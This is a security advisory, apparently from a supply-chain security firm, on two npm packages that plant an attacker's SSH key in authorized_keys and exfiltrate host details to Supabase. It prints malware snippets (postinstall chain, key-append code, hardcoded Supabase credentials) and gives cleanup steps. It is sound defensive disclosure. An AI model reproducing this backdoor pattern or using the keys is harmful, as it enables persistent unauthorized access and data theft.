Malicious dom-utils-lite npm SSH Backdoor via Supabase

TL;DR

npm account user0001 <[email protected]> published two malicious packages, dom-utils-lite and centralogger, with identical payloads. On npm install, a postinstall hook fetches the attacker’s SSH public key from a Supabase storage bucket, appends it to ~/.ssh/authorized_keys, harvests the victim’s IP, username, and hostname, then uploads that metadata to the same Supabase project. A scheduler re-runs the chain every 60 seconds.

Impact:

• Writes the attacker’s SSH public key into ~/.ssh/authorized_keys
• Exfiltrates server IP, username, and hostname to attacker-controlled Supabase storage
• Re-runs every 60 seconds with exponential-backoff retry, re-injecting the key if you remove it
• Empty catch blocks swallow all errors

Indicators of Compromise (IoC):

Analysis

Two Packages, One Payload

centralogger came first. Five versions in one day suggest the attacker was debugging the postinstall trigger. By dom-utils-lite, a single publish was enough.

Diffing the extracted tarballs shows only two files differ:

1
diff centralogger/package.json dom-utils-lite/package.json
2
<   "name": "centralogger",
3
<   "version": "1.0.9",
4
<   "description": "A simple logger for application",
5
---
6
>   "name": "dom-utils-lite",
7
>   "version": "1.0.0",
8
>   "description": "",
9

10
diff centralogger/supabaseClient.js dom-utils-lite/supabaseClient.js
11
< let SUPABASE_URL = "https://ndfcioahsbgsjmulpjgt.supabase.co"
12
< let SUPABASE_KEY = "sb_secret_79Y9vlaAbBRPtAcXRpfHfg_j_gl9ZG8"
13
---
14
> let SUPABASE_URL = "https://xienztiavkygvacpqzgr.supabase.co"
15
> let SUPABASE_KEY = "sb_secret_LbQZ91nwyeW9YXOJCm2UUQ_EzRsXhBH"

All other files match byte-for-byte. The attacker swapped credentials per wave so that taking down one Supabase project leaves the other operational.

Payload

postinstall runs setup.js, which chains four operations:

1
async function setup() {
2
  try {
3
    const publicKey = await getPublicKey(); // fetch SSH key from Supabase
4
    await injectKey(publicKey); // write to ~/.ssh/authorized_keys
5
    const server = getServerDetails(); // collect IP, username, hostname
6
    await uploadMetadata(server); // exfiltrate to Supabase
7
  } catch (err) {}
8
}
9
setup();

index.js repeats this chain every 60 seconds with exponential-backoff retry.

injectKey.js creates ~/.ssh/ if missing, then appends the attacker’s key tagged ssh-key-auto-sync:

1
const taggedKey = `${publicKey} ssh-key-auto-sync`;
2
fs.appendFileSync(authFile, '\n' + taggedKey + '\n');

supabaseClient.js holds hardcoded credentials. The SSH public key lives at project_bucket/public_keys/main.pem.pub, fetched at runtime so the attacker can rotate keys without republishing.

uploadMeta.js writes victim IP, username, hostname, and timestamp to logs/{ip}_{hostname}.txt with upsert: true. Because the 60-second scheduler overwrites this file on every tick, the attacker maintains a live roster: which machines are compromised, and when each last checked in.

Attack Flow

1
npm install dom-utils-lite
2
  └─ postinstall: node setup.js
3
       ├─ fetchKey.js     → Downloads SSH public key from Supabase bucket
4
       ├─ injectKey.js    → Appends key to ~/.ssh/authorized_keys
5
       ├─ utils.js        → Collects IP, username, hostname
6
       └─ uploadMeta.js   → Uploads server metadata to Supabase bucket
7

8
  └─ index.js (if executed via npm start)
9
       └─ Same chain on 60-second interval with retry

Dynamic Analysis

Our eBPF-based dynamic analysis sandbox captured three rule triggers during npm install of [email protected]:

Two “Adding ssh keys to authorized_keys” warnings and one “Read ssh information” error fired at 07:54:48 UTC, all from process chain sh -c node setup.js running as root. The two openat calls on /root/.ssh/authorized_keys match injectKey.js reading existing keys then appending the attacker’s key.

Conclusion

If you installed either package:

1. Check ~/.ssh/authorized_keys for entries tagged ssh-key-auto-sync and remove them
2. Audit ~/.ssh/authorized_keys for any unrecognized keys
3. Kill any lingering node processes running index.js from these packages
4. Review CI/CD pipelines where either package may have been installed

Any npm package from the user0001 account should be treated as malicious. The [email protected] email, bucket name project_bucket, and path public_keys/main.pem.pub are useful pivot points for hunting additional packages in this campaign.

References

• dom-utils-lite on npm
• centralogger on npm
• Supabase Storage documentation